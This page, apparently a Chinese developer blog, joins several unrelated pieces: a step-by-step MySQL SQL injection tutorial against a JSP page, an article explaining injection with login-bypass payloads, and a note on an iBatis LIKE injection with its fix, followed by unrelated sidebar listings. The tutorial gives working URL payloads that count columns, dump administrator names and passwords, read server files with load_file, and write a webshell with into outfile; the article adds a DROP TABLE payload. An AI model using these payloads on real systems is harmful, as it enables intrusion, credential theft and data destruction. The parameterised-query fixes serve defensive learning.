有些程序写的时候只是把数据返回集合的第一行输出,但是UNION查询以后是把数据合并到此次查询以后,那么他只输出了此次查询的数据,其实UNION查询的数据也有,但是他没有输出.那怎么办呢?聪明的人一定会想到. 啊,原来如此,只要让此次查询不输出就可以了.哈哈哈,我聪明了,可是怎么让此次查询不输出呢? 先告诉大家一个简单的方法,看看SQL语句,我们是做过限制条件的. Where accountid = ? ,那么也就是说让这个accoundId 限制到一个没有的id 上那么不就会没有了? 心动不如行动,试试.
mysqlInject.jsp?id=1000'/**/union/**/select/**/4,5,6/*
select * from account where accountId =1000'/**/union/**/select/**/4,5,6/*
哈哈,果然没有了!!! 注意绿色的部分,指定查询一个没有的id ,那么他理所当然的就会蒸发了.
2.3 低几率另类猜此次查询列的数量
此方法虽然几率低一点,但是会大大减少工作量的.次方法只适用于 select * 的简易SQL语句.
这个方法是用的是 mysql 里的 order 排序. 排序是按照顺序排下来.我们来写一条SQL语句. Select * from account where accountId = '1' order by accountId 那么这个SQL语句也就是根据 accountId 升序排序. 那么我们不知道他有什么怎么办,而且这怎么猜? 这里是关键问题. MYSQL支持列编号排序Select * from account where accountId = '1' order by 1 这样也就是按照第一列排序.
哎呀,你又在骗我们,排序怎么猜列的数量? 那么我按照一个不存在的列排序呢? 比如第四列? 你一般身上有3个口袋,一个最多10元钱,一天吃一顿,一顿3斤米,一斤米一元,但是你今天吃了4斤米,需要40元,你却只有3个口袋,你就没有40元,你就要挨打了.
也就是说一共有3个列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,没有第4列,出错.那么也就说明他有4列.
这种方法是根据人的经验判断的.我一般使用这个方法都会成功,就是不成功也相差不多.
2.4 使用UNION猜其他表,查询其他表
使用此方法可以查询到其他表里的内容.比如查询管理员的密码等.但是有个前题,必须道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因为MYSQL 和SQLSERVER 的系统函数不一样,SQLSERVER 里有 SP_HELPDB 而MYSQL 里没有,所以只能猜了.
好,开始构造语句. 我们要猜看看有没有admin表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/admin/*'
如果正常的有admin表的话,那么返回是正常的,如果没有的话会报错的.
大家看到了吧? 有admin 这个表,为了让大家更好的理解,我们在猜一个其他不存在的表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/helloword/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/ helloword/*'
看到了吧?没有 helloworld 这个表.所以报错了.
又问,为什么还是会写4,5,6呢? 啊哈,因为我们不知道他的列名,如果写了 * 他将会全部列出来,如果和此次查询的列不相等,那么就会报错了.所以要写一个相等的.
现在表名出来了,怎么才列名呢?哎呀,大家太聪明了,直接把4,5,6其中一个替换成列名不久行了? 那么构造出.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,5,6/**/from/**/admin/*'
看见了吗? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出来,然后带入UNION查询中,这样就查出来管理员帐号或者密码了.现在我要把列名一次全部带入.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*'
哈哈,出来了, 1|admin|admin| 就是 adminid|adminName|adminPass|
也可以在union 查询上限制条件,比如你知道有admin这个用户那么就构造 union select adminId,adminName,adminPass from admin where adminName = ‘admin’,看个人的发挥了.
2.5 使用MYSQL 系统函数.
2.5.1.1.1 使用 load_file() 函数 显示文件.
Load_file 顾名思义.就是加载文件,可不是运行啊,是显示内容,但是必须对文件拥有读取权限.我们先来构造一个显示 c:\boot.ini 文件的语句.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, load_file(0x633A5C626F6F742E696E69),3/*'
看到了吗? C:\boot.ini 文件的内容. 又问,为什么load_file() 里面是乱码呢? 那不是乱码,那个是C:\boot.ini 16进制编码. 因为本函数无法处理直接写的路径,只能能使用16进制或者是 Ascii 编码.所以要将路径转换成 16进制或者是Ascii 编码才可以执行.
又问,为什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因为啊,第一列不行,其他的都可以,第一列是一个 INT类型,一个数字类型,难道你会把你女朋友送进男厕所吗? 呵呵.玩笑.如果是在 linux 下可以使用 / 来列目录 ,但是必须有列目录的权限.
通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题. 这个问题可以这么解决. 使用 subString 函数, subString(字符串,开始,返回).
假设我们要返回第三个字符,那么就是mysqlInject.jsp?id=1'/**/union/**/select/** /1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 这样我们就返回了第三个字符,用于解决乱码是非常好的办法.
我近期会做一个这样个工具,将会公布在我的个人主页上.
2.5.1.1.2 使用outfile 写WEBSHELL.
mysql 有一个功能,就是把查询的结果输出.就是outfile.先来构造一个简单的语句.
select ‘hello word’ into outfile ‘c:\\a.txt’ 这里是讲 ‘hello word’ 输出到 c:\a.txt
那么在网站也来构造一下.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/'c:\\hello.txt'/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, 'hello',3/**/into/**/outfile/**/’c:\\hello.txt’/*'
成功插入.但是为什么会报错呢?哦,那是因为你把数据写到文件中,返回集合什么都没有了,当然会报错了.如果你把hello 换成 一句话或者其他的,如果写入到网站目录下,那是多么恐怖啊…
2.漏洞的防护和总结
通过过滤特殊关键字来防护.代码网站很多,我这里就不写了.
针对JAVA有一种防护措施,就是使用PreparedStatement 对象进行查询,这里也不多说了.
本文只是一个概括的讲述,如果应用到实战当中需要结合经验.
如果有什么错误的地方可以和我说. msn:tsenable@msn.com 我的主页
对于Web应用来说,注射式攻击由来已久,攻击方式也五花八门,常见的攻击方式有SQL注射、命令注射以及新近才出现的XPath注射等等。本文将以SQL注射为例,在源码级对其攻击原理进行深入的讲解。
一、注射式攻击的原理
注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给We程序,以发号施令,为所欲为。
为了发动注射攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情:
1.确定Web应用程序所使用的技术
注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus等工具来进行刺探。
2.确定所有可能的输入方式
Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、 cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个 Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。
3.查找可以用于注射的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获。
二、SQL注射原理
上面对注射攻击做了一般性的解释,下面我们以SQL注射为例进行讲解,以使读者对注射攻击有一个感性的认识,至于其他攻击,原理是一致的。
SQL 注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用 SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令,这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
三、绕过用户认证
我们这里以一个需要用户身份认证的简单的Web应用程序为例进行讲解。假定这个应用程序提供一个登录页面,要求用户输入用户名和口令。用户通过HTTP请求发送他们的用户名和口令,之后,Web应用程序检查用户传递来用户名和口令跟数据库中的用户名和口令是否匹配。这种情况下,会要求在SQL数据库中使用一个数据库表。开发人员可以通过以下SQL语句来创建表:
CREATETABLEuser_table(
idINTEGERPRIMARYKEY,
usernameVARCHAR(32),
passwordVARCHAR(41)
);
上面的SQL代码将建立一个表,该表由三栏组成。第一栏存放的是用户ID,如果某人经过认证,则用此标识该用户。第二栏存放的是用户名,该用户名最多由32 字符组成。第三栏存放的是口令,它由用户的口令的hash值组成,因为以明文的形式来存放用户的口令实在太危险,所以通常取口令的散列值进行存放。我们将使用SQL函数PASSWORD()来获得口令的hash值,在MySQL中,函数PASSWORD()的输出由41字符组成。
对一个用户进行认证,实际上就是将用户的输入即用户名和口令跟表中的各行进行比较,如果跟某行中的用户名和口令跟用户的输入完全匹配,那么该用户就会通过认证,并得到该行中的ID。假如用户提供的用户名和口令分别为lonelynerd15和mypassword,那么检查用户ID过程如下所示:
SELECTidFROMuser_tableWHEREusername=’lonelynerd15’ANDpassword=PASSWORD(’mypassword’)
如果该用户位于数据库的表中,这个SQL命令将返回该用户相应的ID,这就意味着该用户通过了认证;否则,这个SQL命令的返回为空,这意味着该用户没有通过认证。
下面是用来实现自动登录的Java代码,它从用户那里接收用户名和口令,然后通过一个SQL查询对用户进行认证:
Stringusername=req.getParameter("username");
Stringpassword=req.getParameter("password");
Stringquery="SELECTidFROMuser_tableWHERE"+
"username=’"+username+"’AND"+
"password=PASSWORD(’"+password+"’)";
ResultSetrs=stmt.executeQuery(query);
intid=-1;//-1impliesthattheuserisunauthenticated.
while(rs.next()){
id=rs.getInt("id");
}
开头两行代码从HTTP请求中取得用户输入,然后在下一行开始构造一个SQL查询。执行查询,然后在while()循环中得到结果,如果一个用户名和口令对匹配,就会返回正确的ID。否则,id的值仍然为-1,这意味着用户没有通过认证。表面上看,如果用户名和口令对匹配,那么该用户通过认证;否则,该用户不会通过认证——但是,事实果真如此吗?非也!读者也许已经注意到了,这里并没有对SQL命令进行设防,所以攻击者完全能够在用户名或者口令字段中注入 SQL语句,从而改变SQL查询。为此,我们仔细研究一下上面的SQL查询字符串:
Stringquery="SELECTidFROMuser_tableWHERE"+
"username=’"+username+"’AND"+
"password=PASSWORD(’"+password+"’)";
上述代码认为字符串username和password都是数据,不过,攻击者却可以随心所欲地输入任何字符。如果一位攻击者输入的用户名为 ’OR1=1— 而口令为 x
那么查询字符串将变成下面的样子:
SELECTidFROMuser_tableWHEREusername=’’OR1=1--’ANDpassword
=PASSWORD(’x’)
该双划符号--告诉SQL解析器,右边的东西全部是注释,所以不必理会。这样,查询字符串相当于:
SELECTidFROMuser_tableWHEREusername=’’OR1=1
如今的SELECT语句跟以前的已经大相径庭了,因为现在只要用户名为长度为零的字符串’’或1=1这两个条件中一个为真,就返回用户标识符ID——我们知道,1=1是恒为真的。所以这个语句将返回user_table中的所有ID。在此种情况下,攻击者在username字段放入的是SQL指令 ’OR1=1--而非数据。
四、构造SQL注射代码
为了成功地注入SQL命令,攻击者必须将开发人员的现有SQL命令转换成一个合法的SQL语句,当然,要盲注是有些难度的,但一般都是这样:
'OR1=1–
或者
')OR1=1--
此外,许多Web应用提供了带来错误报告和调试信息,例如,利用'OR1=1--对Web应用进行盲注时,经常看到如下所示的错误信息:
Errorexecutingquery:
YouhaveanerrorinyourSQLsyntax;
checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear
'SELECT(title,body)FROMblog_tableWHEREcat='OR1=1'atline1
该错误信息详细地为我们展示了完整的SQL语句,在此种情况下,SQL数据库所期待的好象是一个整数,而非字符串,所以可以注入字符串 OR1=1--,把单引号去掉就应该能成功注入了。对于大多数SQL数据库,攻击者可以在一行中放入多个SQL语句,只要各个语句的语法没有错误就行。在下面的代码中,我们展示了如何将username设为'OR1=1并把password设为x来返回最后的用户ID:
Stringquery="SELECTidFROMuser_tableWHERE"+
"username='"+username+"'AND"+
"password=PASSWORD('"+password+"')";
当然,攻击者可以注入其它的查询,例如,把username设为:
'OR1=1;DROPTABLEuser_table;--
而这个查询将变成:
SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table;--'ANDpassword=
PASSWORD('x');
它相当于:
SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table;
这个语句将执行句法上完全正确的SELECT语句,并利用SQLDROP命令清空user_table。
注射式攻击不必非要进行盲式攻击,因为许多Web应用是利用开放源代码工具开发的,为了提高注射式攻击的成功率,我们可以下载免费的或者产品的试用版,然后在自己的系统上搭建测试系统。如果在测试系统上发现了错误,那么很可能同样的问题也会存在于所有使用该工具的Web应用身上。
五、小结
我们在本文中向读者介绍了注射攻击的根本原因,即没有对数据和命令进行严格区分。然后通过一些程序源码对SQL的攻击进行了细致的分析,使我们对 SQL注射机理有了一个深入的认识。如果您是一名web应用开发人员,那么您就当心了,一定不要盲目相信用户端的输入,而要对用户输入的数据进行严格的“ 消毒”处理,否则的话,SQL注射将会不期而至。
在项目中,运用Ibatis中Like写法,没有研究下,结果SQL语句存在SQL注入漏洞,整理下,下次谨记啊!
sql语句:
Sql代码
1. select *
2. from (select 1 from poll
3. <dynamic prepend=" where ">
4. <isNotEmpty prepend=" and " property="title">
5. title like '%$title$%'
6. </isNotEmpty>
7. <isNotEmpty property="used">
8. <isEqual compareValue="true" prepend=" and " property="used">
9. <![CDATA[status & 2 > 0 and status & 1 <= 0 and status & 8 <= 0 ]]>
10. </isEqual>
11. </isNotEmpty>
12. <isNotEmpty prepend=" and " property="startTimeBegin">
13. <![CDATA[ gmt_create >= #startTimeBegin# ]]>
14. </isNotEmpty>
15. <isNotEmpty prepend=" and " property="startTimeEnd">
16. <![CDATA[ gmt_create <= #startTimeEnd# ]]>
17. </isNotEmpty>
18. </dynamic>
19. limit 10000
20. ) as t
select *
from (select 1 from poll
<dynamic prepend=" where ">
<isNotEmpty prepend=" and " property="title">
title like '%$title$%'
</isNotEmpty>
<isNotEmpty property="used">
<isEqual compareValue="true" prepend=" and " property="used">
<![CDATA[status & 2 > 0 and status & 1 <= 0 and status & 8 <= 0 ]]>
</isEqual>
</isNotEmpty>
<isNotEmpty prepend=" and " property="startTimeBegin">
<![CDATA[ gmt_create >= #startTimeBegin# ]]>
</isNotEmpty>
<isNotEmpty prepend=" and " property="startTimeEnd">
<![CDATA[ gmt_create <= #startTimeEnd# ]]>
</isNotEmpty>
</dynamic>
limit 10000
) as t
请关注此写法的:
Sql代码
1. title like '%$title$%'
title like '%$title$%'
存在SQL注入漏洞。
下面是一段单元测试:
Java代码
1. PollQuery query = new PollQuery();
2. query.setCurrentPage(1);
3. query.setPageSize(50);
4. query.setTitle("1231%' or '1%' = '1");//很简单的写法:(
5. List<SnsPollDO> l = pollDAO.findPollList(query);
6. System.out.println(l.size())
PollQuery query = new PollQuery();
query.setCurrentPage(1);
query.setPageSize(50);
query.setTitle("1231%' or '1%' = '1");//很简单的写法:(
List<SnsPollDO> l = pollDAO.findPollList(query);
System.out.println(l.size())
测试结果(打印处的sql语句):
Java代码
1. 1. select * from poll where title like '%1231%' or '1%' = '1%'
1. select * from poll where title like '%1231%' or '1%' = '1%'
尽管 title 没匹配对,但是or后面那句是恒等的。哎!
看来下面的写法只是简单的转义下:
Sql代码
1. title like '%$title$%'
title like '%$title$%'
如何解决:
在oracle下面改成:title like '%'||#title#||'%',这样肯定是可以的。
但是在mysql中,上述写法是不行,还是有上面的问题的:
Sql代码
1. select * from poll where title like '%'||?||'%' order by gmt_create desc limit ?, ?
select * from poll where title like '%'||?||'%' order by gmt_create desc limit ?, ?
还能查出结果来!哎!
得用:title CONCAT('%',#title#,'%')
Sql代码
1. select * from poll where title like CONCAT('%',?,'%') order by gmt_create desc limit ?, ?
select * from poll where title like CONCAT('%',?,'%') order by gmt_create desc limit ?, ?
呵呵,多次测试均没有发现问题!
发表评论
-
ibatis 保持序列化对象
2009-08-21 18:17 2172数据库表 CREATE TABLE `info_thread` ... -
bdb练习
2009-08-19 11:46 921bdb练习 -
bdb数据库
2009-08-19 11:31 4019SQL 开发人员 Oracle Berkeley DB 指南 ... -
ibatis
2009-08-19 11:25 1222<insert id="insertJvmIn ... -
derby数据库笔记
2009-08-19 11:16 28431.下载derby包. url:http://db.apac ... -
mysql数据库 JDBC 对照
2009-08-19 10:49 1007mysql数据库 JDBC 对照 类型名称 显示长度 ... -
MySQL的LAST_INSERT_ID
2009-08-19 10:48 2009使用MySQL的LAST_INSERT_ID last_in ... -
mysql 常用命令
2009-08-19 10:47 1164连接:mysql -h主机地址 - ... -
mysql导入导出
2009-08-19 10:45 799c:\mysqldump -uroot -pjava csin ...
相关推荐
利用SQL注入漏洞登录后台.rtf
关于sql注入的详细解析
"asp代码sql注入审核工具"是针对这种威胁而设计的软件,用于检测ASP代码中可能存在的SQL注入漏洞。 此工具可能包含以下组件: 1. **msscasi_view.cmd**:这可能是一个批处理文件,用于启动或配置审计工具。 2. **...
在这个例子中,我们使用了参数化查询来防止SQL注入攻击,并且直接将RTFContent字符串插入到`RTFData`字段。请注意,不同的数据库可能有不同的方式来处理大对象(LOB)数据,如RTF,所以实际的代码可能需要调整以适应...
例如,避免不必要的数据转换,减少内存占用,以及确保RTF数据的安全性,防止潜在的恶意代码注入。 总之,利用剪贴板编程实现在数据库中存取RTF数据是一项涉及多步骤的技术任务。开发者需要对RTF格式有深入理解,...
- SQL注入防护:使用参数化查询或ORM框架避免SQL注入。 6. **文件操作**: - 文件读写:使用`System.IO.File`类读取本地文件,如`.rtf`或`.html`,并使用`FileStream`与数据库交互。 - 解压缩:如果数据是压缩包...
这包括防止SQL注入、XSS攻击,以及正确处理用户输入以避免命令注入等。理解如何使用参数化查询和过滤特殊字符可以显著提升代码安全性。 6. **脚本执行环境**:VBS通常与Windows Script Host (WSH)一起工作,这是一...
Nutz框架的特点包括其简单的API设计、全面的注解支持、强大的依赖注入机制、以及对SQL和Web开发的良好支持。它还提供了丰富的插件系统,可以扩展框架的功能以满足各种需求。此外,Nutz框架的性能优秀,适合构建高...
在实际应用中,为了提高代码的可维护性和安全性,推荐使用预处理语句(如PDO的`prepare()`和`bindParam()`)来防止SQL注入,并使用事务处理来确保数据的一致性。此外,了解数据库设计原则,如正常化,以及性能优化...
2. **数据验证**:在处理用户输入时,必须进行有效性和安全性验证,如检查航班号、日期格式是否正确,防止SQL注入等安全问题。 3. **错误处理**:通过异常处理机制捕获可能出现的错误,并向用户清晰地显示错误信息...
4. 数据验证:帮助验证用户输入,防止SQL注入等安全问题。 5. 时间日期处理:处理时间戳、日期格式化等任务。 6. 邮件发送:支持SMTP协议发送邮件,常用于验证码发送或通知功能。 在描述中提到的“已加入PHPCOMMON...
这需要处理用户输入、防止恶意攻击(如SQL注入)以及存储和显示留言数据。 9. **安装部署**:商品发布系统设计.doc和安装部署帮助文档.rtf可能是项目部署指南,涵盖了如何配置服务器环境、安装必要的软件组件、设置...
11. **安全性**:设计软件时要考虑安全因素,如防止SQL注入、XSS攻击,以及数据加密和身份验证机制。 12. **文档编写**:良好的文档是软件生命周期中的重要组成部分,包括设计文档、用户手册和技术参考文档。 以上...
10. **源码分析**:对于一些知名开源框架的源码阅读和理解能力,比如Spring的依赖注入、MyBatis的SQL映射机制,能够体现候选人的深度学习能力和问题解决能力。 总的来说,准备Java面试需要全面掌握上述知识点,并...
11. 数据库连接字符串与安全性:文档中虽然没有明确提及,但在使用数据库时,安全性是不可忽视的一个方面,尤其是在连接字符串的管理和防止SQL注入攻击方面。 通过上述知识点的提取,我们可以了解到题库与试卷生成...
【压缩包子文件的文件名称列表】:License.rtf、MonoRail Release Notes.txt、InversionOfControl Release Notes.txt、ActiveRecord Release Notes.txt、DynamicProxy Release Notes.txt、net-2.0 这些文件名可能与...
一个基于Spring依赖注入特性的二级插件的模型,里面主要封装了如下特性:数据库连接池(常用的4-5个)、分页查询(oracle,mysql,sqlserver等)、数据转码(空值、特定、列名等)、数据导出(Pdf,excel,html,...
◆业内最先进且深入的 SQL 注入和跨站脚本测试 ◆高级渗透测试工具,例如 HTTP Editor 和 HTTP Fuzzer ◆可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域 ◆支持含有 CAPTHCA 的页面,单个开始指令和 Two ...
7. 安全性:考虑到用户数据的敏感性,数据库应具有良好的安全措施,如用户认证、授权、SQL注入防护和数据加密。 8. 性能优化:索引、缓存策略和数据库分区可能被用来提高查询性能,尤其是在大数据量的情况下。 9. ...
测试可以利用spring的注入功能,引入spring的事物管理,而且对于测试的数据还可以支持回滚,保存数据 velocity-1.6.2.jar velocity-1.6.2-dep.jar velocity-tools-1.4.jar velocity-tools-view-1.4.jar velocity...